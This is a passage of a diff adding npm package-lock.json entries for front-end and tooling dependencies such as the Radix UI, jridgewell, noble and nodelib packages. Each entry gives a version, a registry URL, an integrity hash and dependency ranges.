4989+ "node": ">=6.0.0"
4990+ }
4991+ },
4992+ "node_modules/@jridgewell/source-map": {
4993+ "version": "0.3.11",
4994+ "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.11.tgz",
4995+ "integrity": "sha512-ZMp1V8ZFcPG5dIWnQLr3NSI1MiCU7UETdS/A0G8V/XWHvJv3ZsFqutJn1Y5RPmAPX6F3BiE397OqveU/9NCuIA==",
4996+ "license": "MIT",
4997+ "dependencies": {
4998+ "@jridgewell/gen-mapping": "^0.3.5",
4999+ "@jridgewell/trace-mapping": "^0.3.25"
5000+ }
5001+ },
5002+ "node_modules/@jridgewell/sourcemap-codec": {
5003+ "version": "1.5.5",
5004+ "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",
5005+ "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==",
5006+ "license": "MIT"
5007+ },
5008+ "node_modules/@jridgewell/trace-mapping": {
5009+ "version": "0.3.31",
5010+ "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz",
5011+ "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==",
5012+ "license": "MIT",
5013+ "dependencies": {
5014+ "@jridgewell/resolve-uri": "^3.1.0",
5015+ "@jridgewell/sourcemap-codec": "^1.4.14"
5016+ }
5017+ },
5018+ "node_modules/@kurkle/color": {
5019+ "version": "0.3.4",
5020+ "resolved": "https://registry.npmjs.org/@kurkle/color/-/color-0.3.4.tgz",
5021+ "integrity": "sha512-M5UknZPHRu3DEDWoipU6sE8PdkZ6Z/S+v4dD+Ke8IaNlpdSQah50lz1KtcFBa2vsdOnwbbnxJwVM4wty6udA5w==",
5022+ "license": "MIT"
5023+ },
5024+ "node_modules/@leichtgewicht/ip-codec": {
5025+ "version": "2.0.5",
5026+ "resolved": "https://registry.npmjs.org/@leichtgewicht/ip-codec/-/ip-codec-2.0.5.tgz",
5027+ "integrity": "sha512-Vo+PSpZG2/fmgmiNzYK9qWRh8h/CHrwD0mo1h1DzL4yzHNSfWYujGTYsWGreD000gcgmZ7K4Ys6Tx9TxtsKdDw==",
5028+ "license": "MIT"
5029+ },
5030+ "node_modules/@mediapipe/tasks-vision": {
5031+ "version": "0.10.17",
5032+ "resolved": "https://registry.npmjs.org/@mediapipe/tasks-vision/-/tasks-vision-0.10.17.tgz",
5033+ "integrity": "sha512-CZWV/q6TTe8ta61cZXjfnnHsfWIdFhms03M9T7Cnd5y2mdpylJM0rF1qRq+wsQVRMLz1OYPVEBU9ph2Bx8cxrg==",
5034+ "license": "Apache-2.0"
5035+ },
5036+ "node_modules/@metamask/safe-event-emitter": {
5037+ "version": "2.0.0",
5038+ "resolved": "https://registry.npmjs.org/@metamask/safe-event-emitter/-/safe-event-emitter-2.0.0.tgz",
5039+ "integrity": "sha512-/kSXhY692qiV1MXu6EeOZvg5nECLclxNXcKCxJ3cXQgYuRymRHpdx/t7JXfsK+JLjwA1e1c1/SBrlQYpusC29Q==",
5040+ "license": "ISC"
5041+ },
5042+ "node_modules/@mongodb-js/saslprep": {
5043+ "version": "1.4.0",
5044+ "resolved": "https://registry.npmjs.org/@mongodb-js/saslprep/-/saslprep-1.4.0.tgz",
5045+ "integrity": "sha512-ZHzx7Z3rdlWL1mECydvpryWN/ETXJiCxdgQKTAH+djzIPe77HdnSizKBDi1TVDXZjXyOj2IqEG/vPw71ULF06w==",
5046+ "license": "MIT",
5047+ "dependencies": {
5048+ "sparse-bitfield": "^3.0.3"
5049+ }
5050+ },
5051+ "node_modules/@monogrid/gainmap-js": {
5052+ "version": "3.4.0",
5053+ "resolved": "https://registry.npmjs.org/@monogrid/gainmap-js/-/gainmap-js-3.4.0.tgz",
5054+ "integrity": "sha512-2Z0FATFHaoYJ8b+Y4y4Hgfn3FRFwuU5zRrk+9dFWp4uGAdHGqVEdP7HP+gLA3X469KXHmfupJaUbKo1b/aDKIg==",
5055+ "license": "MIT",
5056+ "dependencies": {
5057+ "promise-worker-transferable": "^1.0.4"
5058+ },
5059+ "peerDependencies": {
5060+ "three": ">= 0.159.0"
5061+ }
5062+ },
5063+ "node_modules/@nicolo-ribaudo/eslint-scope-5-internals": {
5064+ "version": "5.1.1-v1",
5065+ "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/eslint-scope-5-internals/-/eslint-scope-5-internals-5.1.1-v1.tgz",
5066+ "integrity": "sha512-54/JRvkLIzzDWshCWfuhadfrfZVPiElY8Fcgmg1HroEly/EDSszzhBAsarCux+D/kOslTRquNzuyGSmUSTTHGg==",
5067+ "license": "MIT",
5068+ "dependencies": {
5069+ "eslint-scope": "5.1.1"
5070+ }
5071+ },
5072+ "node_modules/@nicolo-ribaudo/eslint-scope-5-internals/node_modules/eslint-scope": {
5073+ "version": "5.1.1",
5074+ "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz",
5075+ "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==",
5076+ "license": "BSD-2-Clause",
5077+ "dependencies": {
5078+ "esrecurse": "^4.3.0",
5079+ "estraverse": "^4.1.1"
5080+ },
5081+ "engines": {
5082+ "node": ">=8.0.0"
5083+ }
5084+ },
5085+ "node_modules/@nicolo-ribaudo/eslint-scope-5-internals/node_modules/estraverse": {
5086+ "version": "4.3.0",
5087+ "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
5088+ "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
5089+ "license": "BSD-2-Clause",
5090+ "engines": {
5091+ "node": ">=4.0"
5092+ }
5093+ },
5094+ "node_modules/@noble/ciphers": {
5095+ "version": "1.2.0",
5096+ "resolved": "https://registry.npmjs.org/@noble/ciphers/-/ciphers-1.2.0.tgz",
5097+ "integrity": "sha512-YGdEUzYEd+82jeaVbSKKVp1jFZb8LwaNMIIzHFkihGvYdd/KKAr7KaJHdEdSYGredE3ssSravXIa0Jxg28Sv5w==",
5098+ "license": "MIT",
5099+ "engines": {
5100+ "node": "^14.21.3 || >=16"
5101+ },
5102+ "funding": {
5103+ "url": "https://paulmillr.com/funding/"
5104+ }
5105+ },
5106+ "node_modules/@noble/hashes": {
5107+ "version": "1.7.0",
5108+ "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-1.7.0.tgz",
5109+ "integrity": "sha512-HXydb0DgzTpDPwbVeDGCG1gIu7X6+AuU6Zl6av/E/KG8LMsvPntvq+w17CHRpKBmN6Ybdrt1eP3k4cj8DJa78w==",
5110+ "license": "MIT",
5111+ "engines": {
5112+ "node": "^14.21.3 || >=16"
5113+ },
5114+ "funding": {
5115+ "url": "https://paulmillr.com/funding/"
5116+ }
5117+ },
5118+ "node_modules/@nodelib/fs.scandir": {
5119+ "version": "2.1.5",
5120+ "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",
5121+ "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==",
5122+ "license": "MIT",
5123+ "dependencies": {
5124+ "@nodelib/fs.stat": "2.0.5",
5125+ "run-parallel": "^1.1.9"
5126+ },
5127+ "engines": {
5128+ "node": ">= 8"
5129+ }
5130+ },
5131+ "node_modules/@nodelib/fs.stat": {
5132+ "version": "2.0.5",
5133+ "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",
5134+ "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==",
5135+ "license": "MIT",
5136+ "engines": {
5137+ "node": ">= 8"
5138+ }
5139+ },
5140+ "node_modules/@nodelib/fs.walk": {
5141+ "version": "1.2.8",
5142+ "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",
5143+ "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==",
5144+ "license": "MIT",
5145+ "dependencies": {
5146+ "@nodelib/fs.scandir": "2.1.5",
5147+ "fastq": "^1.6.0"
5148+ },
5149+ "engines": {
5150+ "node": ">= 8"
5151+ }
5152+ },
5153+ "node_modules/@pmmmwh/react-refresh-webpack-plugin": {
5154+ "version": "0.5.17",
5155+ "resolved": "https://registry.npmjs.org/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.5.17.tgz",
5156+ "integrity": "sha512-tXDyE1/jzFsHXjhRZQ3hMl0IVhYe5qula43LDWIhVfjp9G/nT5OQY5AORVOrkEGAUltBJOfOWeETbmhm6kHhuQ==",
5157+ "license": "MIT",
5158+ "dependencies": {
5159+ "ansi-html": "^0.0.9",
5160+ "core-js-pure": "^3.23.3",
5161+ "error-stack-parser": "^2.0.6",
5162+ "html-entities": "^2.1.0",
5163+ "loader-utils": "^2.0.4",
5164+ "schema-utils": "^4.2.0",
5165+ "source-map": "^0.7.3"
5166+ },
5167+ "engines": {
5168+ "node": ">= 10.13"
5169+ },
5170+ "peerDependencies": {
5171+ "@types/webpack": "4.x || 5.x",
5172+ "react-refresh": ">=0.10.0 <1.0.0",
5173+ "sockjs-client": "^1.4.0",
5174+ "type-fest": ">=0.17.0 <5.0.0",
5175+ "webpack": ">=4.43.0 <6.0.0",
5176+ "webpack-dev-server": "3.x || 4.x || 5.x",
5177+ "webpack-hot-middleware": "2.x",
5178+ "webpack-plugin-serve": "0.x || 1.x"
5179+ },
5180+ "peerDependenciesMeta": {
5181+ "@types/webpack": {
5182+ "optional": true
5183+ },
5184+ "sockjs-client": {
5185+ "optional": true
5186+ },
5187+ "type-fest": {
5188+ "optional": true
5189+ },
5190+ "webpack-dev-server": {
5191+ "optional": true
5192+ },
5193+ "webpack-hot-middleware": {
5194+ "optional": true
5195+ },
5196+ "webpack-plugin-serve": {
5197+ "optional": true
5198+ }
5199+ }
5200+ },
5201+ "node_modules/@popperjs/core": {
5202+ "version": "2.11.8",
5203+ "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.11.8.tgz",
5204+ "integrity": "sha512-P1st0aksCrn9sGZhp8GMYwBnQsbvAWsZAX44oXNNvLHGqAOcoVxmjZiohstwQ7SqKnbR47akdNi+uleWD8+g6A==",
5205+ "license": "MIT",
5206+ "funding": {
5207+ "type": "opencollective",
5208+ "url": "https://opencollective.com/popperjs"
5209+ }
5210+ },
5211+ "node_modules/@radix-ui/primitive": {
5212+ "version": "1.1.3",
5213+ "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.1.3.tgz",
5214+ "integrity": "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg==",
5215+ "license": "MIT"
5216+ },
5217+ "node_modules/@radix-ui/react-arrow": {
5218+ "version": "1.1.7",
5219+ "resolved": "https://registry.npmjs.org/@radix-ui/react-arrow/-/react-arrow-1.1.7.tgz",
5220+ "integrity": "sha512-F+M1tLhO+mlQaOWspE8Wstg+z6PwxwRd8oQ8IXceWz92kfAmalTRf0EjrouQeo7QssEPfCn05B4Ihs1K9WQ/7w==",
5221+ "license": "MIT",
5222+ "dependencies": {
5223+ "@radix-ui/react-primitive": "2.1.3"
5224+ },
5225+ "peerDependencies": {
5226+ "@types/react": "*",
5227+ "@types/react-dom": "*",
5228+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
5229+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5230+ },
5231+ "peerDependenciesMeta": {
5232+ "@types/react": {
5233+ "optional": true
5234+ },
5235+ "@types/react-dom": {
5236+ "optional": true
5237+ }
5238+ }
5239+ },
5240+ "node_modules/@radix-ui/react-arrow/node_modules/@radix-ui/react-primitive": {
5241+ "version": "2.1.3",
5242+ "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz",
5243+ "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==",
5244+ "license": "MIT",
5245+ "dependencies": {
5246+ "@radix-ui/react-slot": "1.2.3"
5247+ },
5248+ "peerDependencies": {
5249+ "@types/react": "*",
5250+ "@types/react-dom": "*",
5251+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
5252+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5253+ },
5254+ "peerDependenciesMeta": {
5255+ "@types/react": {
5256+ "optional": true
5257+ },
5258+ "@types/react-dom": {
5259+ "optional": true
5260+ }
5261+ }
5262+ },
5263+ "node_modules/@radix-ui/react-arrow/node_modules/@radix-ui/react-slot": {
5264+ "version": "1.2.3",
5265+ "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz",
5266+ "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==",
5267+ "license": "MIT",
5268+ "dependencies": {
5269+ "@radix-ui/react-compose-refs": "1.1.2"
5270+ },
5271+ "peerDependencies": {
5272+ "@types/react": "*",
5273+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5274+ },
5275+ "peerDependenciesMeta": {
5276+ "@types/react": {
5277+ "optional": true
5278+ }
5279+ }
5280+ },
5281+ "node_modules/@radix-ui/react-compose-refs": {
5282+ "version": "1.1.2",
5283+ "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.1.2.tgz",
5284+ "integrity": "sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg==",
5285+ "license": "MIT",
5286+ "peerDependencies": {
5287+ "@types/react": "*",
5288+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5289+ },
5290+ "peerDependenciesMeta": {
5291+ "@types/react": {
5292+ "optional": true
5293+ }
5294+ }
5295+ },
5296+ "node_modules/@radix-ui/react-context": {
5297+ "version": "1.1.2",
5298+ "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.1.2.tgz",
5299+ "integrity": "sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA==",
5300+ "license": "MIT",
5301+ "peerDependencies": {
5302+ "@types/react": "*",
5303+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5304+ },
5305+ "peerDependenciesMeta": {
5306+ "@types/react": {
5307+ "optional": true
5308+ }
5309+ }
5310+ },
5311+ "node_modules/@radix-ui/react-dismissable-layer": {
5312+ "version": "1.1.11",
5313+ "resolved": "https://registry.npmjs.org/@radix-ui/react-dismissable-layer/-/react-dismissable-layer-1.1.11.tgz",
5314+ "integrity": "sha512-Nqcp+t5cTB8BinFkZgXiMJniQH0PsUt2k51FUhbdfeKvc4ACcG2uQniY/8+h1Yv6Kza4Q7lD7PQV0z0oicE0Mg==",
5315+ "license": "MIT",
5316+ "dependencies": {
5317+ "@radix-ui/primitive": "1.1.3",
5318+ "@radix-ui/react-compose-refs": "1.1.2",
5319+ "@radix-ui/react-primitive": "2.1.3",
5320+ "@radix-ui/react-use-callback-ref": "1.1.1",
5321+ "@radix-ui/react-use-escape-keydown": "1.1.1"
5322+ },
5323+ "peerDependencies": {
5324+ "@types/react": "*",
5325+ "@types/react-dom": "*",
5326+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
5327+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5328+ },
5329+ "peerDependenciesMeta": {
5330+ "@types/react": {
5331+ "optional": true
5332+ },
5333+ "@types/react-dom": {
5334+ "optional": true
5335+ }
5336+ }
5337+ },
5338+ "node_modules/@radix-ui/react-dismissable-layer/node_modules/@radix-ui/react-primitive": {
5339+ "version": "2.1.3",
5340+ "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz",
5341+ "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==",
5342+ "license": "MIT",
5343+ "dependencies": {
5344+ "@radix-ui/react-slot": "1.2.3"
5345+ },
5346+ "peerDependencies": {
5347+ "@types/react": "*",
5348+ "@types/react-dom": "*",
5349+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
5350+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5351+ },
5352+ "peerDependenciesMeta": {
5353+ "@types/react": {
5354+ "optional": true
5355+ },
5356+ "@types/react-dom": {
5357+ "optional": true
5358+ }
5359+ }
5360+ },
5361+ "node_modules/@radix-ui/react-dismissable-layer/node_modules/@radix-ui/react-slot": {
5362+ "version": "1.2.3",
5363+ "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz",
5364+ "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==",
5365+ "license": "MIT",
5366+ "dependencies": {
5367+ "@radix-ui/react-compose-refs": "1.1.2"
5368+ },
5369+ "peerDependencies": {
5370+ "@types/react": "*",
5371+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5372+ },
5373+ "peerDependenciesMeta": {
5374+ "@types/react": {
5375+ "optional": true
5376+ }
5377+ }
5378+ },
5379+ "node_modules/@radix-ui/react-id": {
5380+ "version": "1.1.1",
5381+ "resolved": "https://registry.npmjs.org/@radix-ui/react-id/-/react-id-1.1.1.tgz",
5382+ "integrity": "sha512-kGkGegYIdQsOb4XjsfM97rXsiHaBwco+hFI66oO4s9LU+PLAC5oJ7khdOVFxkhsmlbpUqDAvXw11CluXP+jkHg==",
5383+ "license": "MIT",
5384+ "dependencies": {
5385+ "@radix-ui/react-use-layout-effect": "1.1.1"
5386+ },
5387+ "peerDependencies": {
5388+ "@types/react": "*",
5389+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5390+ },
5391+ "peerDependenciesMeta": {
5392+ "@types/react": {
5393+ "optional": true
5394+ }
5395+ }
5396+ },
5397+ "node_modules/@radix-ui/react-popper": {
5398+ "version": "1.2.8",
5399+ "resolved": "https://registry.npmjs.org/@radix-ui/react-popper/-/react-popper-1.2.8.tgz",
5400+ "integrity": "sha512-0NJQ4LFFUuWkE7Oxf0htBKS6zLkkjBH+hM1uk7Ng705ReR8m/uelduy1DBo0PyBXPKVnBA6YBlU94MBGXrSBCw==",
5401+ "license": "MIT",
5402+ "dependencies": {
5403+ "@floating-ui/react-dom": "^2.0.0",
5404+ "@radix-ui/react-arrow": "1.1.7",
5405+ "@radix-ui/react-compose-refs": "1.1.2",
5406+ "@radix-ui/react-context": "1.1.2",
5407+ "@radix-ui/react-primitive": "2.1.3",
5408+ "@radix-ui/react-use-callback-ref": "1.1.1",
5409+ "@radix-ui/react-use-layout-effect": "1.1.1",
5410+ "@radix-ui/react-use-rect": "1.1.1",
5411+ "@radix-ui/react-use-size": "1.1.1",
5412+ "@radix-ui/rect": "1.1.1"
5413+ },
5414+ "peerDependencies": {
5415+ "@types/react": "*",
5416+ "@types/react-dom": "*",
5417+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
5418+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5419+ },
5420+ "peerDependenciesMeta": {
5421+ "@types/react": {
5422+ "optional": true
5423+ },
5424+ "@types/react-dom": {
5425+ "optional": true
5426+ }
5427+ }
5428+ },
5429+ "node_modules/@radix-ui/react-popper/node_modules/@radix-ui/react-primitive": {
5430+ "version": "2.1.3",
5431+ "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz",
5432+ "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==",
5433+ "license": "MIT",
5434+ "dependencies": {
5435+ "@radix-ui/react-slot": "1.2.3"
5436+ },
5437+ "peerDependencies": {
5438+ "@types/react": "*",
5439+ "@types/react-dom": "*",
5440+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
5441+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5442+ },
5443+ "peerDependenciesMeta": {
5444+ "@types/react": {
5445+ "optional": true
5446+ },
5447+ "@types/react-dom": {
5448+ "optional": true
5449+ }
5450+ }
5451+ },
5452+ "node_modules/@radix-ui/react-popper/node_modules/@radix-ui/react-slot": {
5453+ "version": "1.2.3",
5454+ "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz",
5455+ "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==",
5456+ "license": "MIT",
5457+ "dependencies": {
5458+ "@radix-ui/react-compose-refs": "1.1.2"
5459+ },
5460+ "peerDependencies": {
5461+ "@types/react": "*",
5462+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5463+ },
5464+ "peerDependenciesMeta": {
5465+ "@types/react": {
5466+ "optional": true
5467+ }
5468+ }
5469+ },
5470+ "node_modules/@radix-ui/react-portal": {
5471+ "version": "1.1.10",
5472+ "resolved": "https://registry.npmjs.org/@radix-ui/react-portal/-/react-portal-1.1.10.tgz",
5473+ "integrity": "sha512-4kY9IVa6+9nJPsYmngK5Uk2kUmZnv7ChhHAFeQ5oaj8jrR1bIi3xww8nH71pz1/Ve4d/cXO3YxT8eikt1B0a8w==",
5474+ "license": "MIT",
5475+ "dependencies": {
5476+ "@radix-ui/react-primitive": "2.1.4",
5477+ "@radix-ui/react-use-layout-effect": "1.1.1"
5478+ },
5479+ "peerDependencies": {
5480+ "@types/react": "*",
5481+ "@types/react-dom": "*",
5482+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
5483+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5484+ },
5485+ "peerDependenciesMeta": {
5486+ "@types/react": {
5487+ "optional": true
5488+ },
5489+ "@types/react-dom": {
5490+ "optional": true
5491+ }
5492+ }
5493+ },
5494+ "node_modules/@radix-ui/react-presence": {
5495+ "version": "1.1.5",
5496+ "resolved": "https://registry.npmjs.org/@radix-ui/react-presence/-/react-presence-1.1.5.tgz",
5497+ "integrity": "sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ==",
5498+ "license": "MIT",
5499+ "dependencies": {
5500+ "@radix-ui/react-compose-refs": "1.1.2",
5501+ "@radix-ui/react-use-layout-effect": "1.1.1"
5502+ },
5503+ "peerDependencies": {
5504+ "@types/react": "*",
5505+ "@types/react-dom": "*",
5506+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
5507+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5508+ },
5509+ "peerDependenciesMeta": {
5510+ "@types/react": {
5511+ "optional": true
5512+ },
5513+ "@types/react-dom": {
5514+ "optional": true
5515+ }
5516+ }
5517+ },
5518+ "node_modules/@radix-ui/react-primitive": {
5519+ "version": "2.1.4",
5520+ "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.4.tgz",
5521+ "integrity": "sha512-9hQc4+GNVtJAIEPEqlYqW5RiYdrr8ea5XQ0ZOnD6fgru+83kqT15mq2OCcbe8KnjRZl5vF3ks69AKz3kh1jrhg==",
5522+ "license": "MIT",
5523+ "dependencies": {
5524+ "@radix-ui/react-slot": "1.2.4"
5525+ },
5526+ "peerDependencies": {
5527+ "@types/react": "*",
5528+ "@types/react-dom": "*",
5529+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
5530+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5531+ },
5532+ "peerDependenciesMeta": {
5533+ "@types/react": {
5534+ "optional": true
5535+ },
5536+ "@types/react-dom": {
5537+ "optional": true
5538+ }
5539+ }
5540+ },
5541+ "node_modules/@radix-ui/react-slot": {
5542+ "version": "1.2.4",
5543+ "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.4.tgz",
5544+ "integrity": "sha512-Jl+bCv8HxKnlTLVrcDE8zTMJ09R9/ukw4qBs/oZClOfoQk/cOTbDn+NceXfV7j09YPVQUryJPHurafcSg6EVKA==",
5545+ "license": "MIT",
5546+ "dependencies": {
5547+ "@radix-ui/react-compose-refs": "1.1.2"
5548+ },
5549+ "peerDependencies": {
5550+ "@types/react": "*",
5551+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5552+ },
5553+ "peerDependenciesMeta": {
5554+ "@types/react": {
5555+ "optional": true
5556+ }
5557+ }
5558+ },
5559+ "node_modules/@radix-ui/react-tooltip": {
5560+ "version": "1.2.8",
5561+ "resolved": "https://registry.npmjs.org/@radix-ui/react-tooltip/-/react-tooltip-1.2.8.tgz",
5562+ "integrity": "sha512-tY7sVt1yL9ozIxvmbtN5qtmH2krXcBCfjEiCgKGLqunJHvgvZG2Pcl2oQ3kbcZARb1BGEHdkLzcYGO8ynVlieg==",
5563+ "license": "MIT",
5564+ "dependencies": {
5565+ "@radix-ui/primitive": "1.1.3",
5566+ "@radix-ui/react-compose-refs": "1.1.2",
5567+ "@radix-ui/react-context": "1.1.2",
5568+ "@radix-ui/react-dismissable-layer": "1.1.11",
5569+ "@radix-ui/react-id": "1.1.1",
5570+ "@radix-ui/react-popper": "1.2.8",
5571+ "@radix-ui/react-portal": "1.1.9",
5572+ "@radix-ui/react-presence": "1.1.5",
5573+ "@radix-ui/react-primitive": "2.1.3",
5574+ "@radix-ui/react-slot": "1.2.3",
5575+ "@radix-ui/react-use-controllable-state": "1.2.2",
5576+ "@radix-ui/react-visually-hidden": "1.2.3"
5577+ },
5578+ "peerDependencies": {
5579+ "@types/react": "*",
5580+ "@types/react-dom": "*",
5581+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
5582+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5583+ },
5584+ "peerDependenciesMeta": {
5585+ "@types/react": {
5586+ "optional": true
5587+ },
5588+ "@types/react-dom": {
5589+ "optional": true
5590+ }
5591+ }
5592+ },
5593+ "node_modules/@radix-ui/react-tooltip/node_modules/@radix-ui/react-portal": {
5594+ "version": "1.1.9",
5595+ "resolved": "https://registry.npmjs.org/@radix-ui/react-portal/-/react-portal-1.1.9.tgz",
5596+ "integrity": "sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ==",
5597+ "license": "MIT",
5598+ "dependencies": {
5599+ "@radix-ui/react-primitive": "2.1.3",
5600+ "@radix-ui/react-use-layout-effect": "1.1.1"
5601+ },
5602+ "peerDependencies": {
5603+ "@types/react": "*",
5604+ "@types/react-dom": "*",
5605+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
5606+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
5607+ },
5608+ "peerDependenciesMeta": {
5609+ "@types/react": {
5610+ "optional": true
5611+ },
5612+ "@types/react-dom": {
5613+ "optional": true
5614+ }
5615+ }
5616+ },
5617+ "node_modules/@radix-ui/react-tooltip/node_modules/@radix-ui/react-primitive": {
5618+ "version": "2.1.3",
5619+ "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz",
5620+ "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==",
5621+ "license": "MIT",
5622+ "dependencies": {
5623+ "@radix-ui/react-slot": "1.2.3"
5624+ },
5625+ "peerDependencies": {
5626+ "@types/react": "*",
5627+ "@types/react-dom": "*",
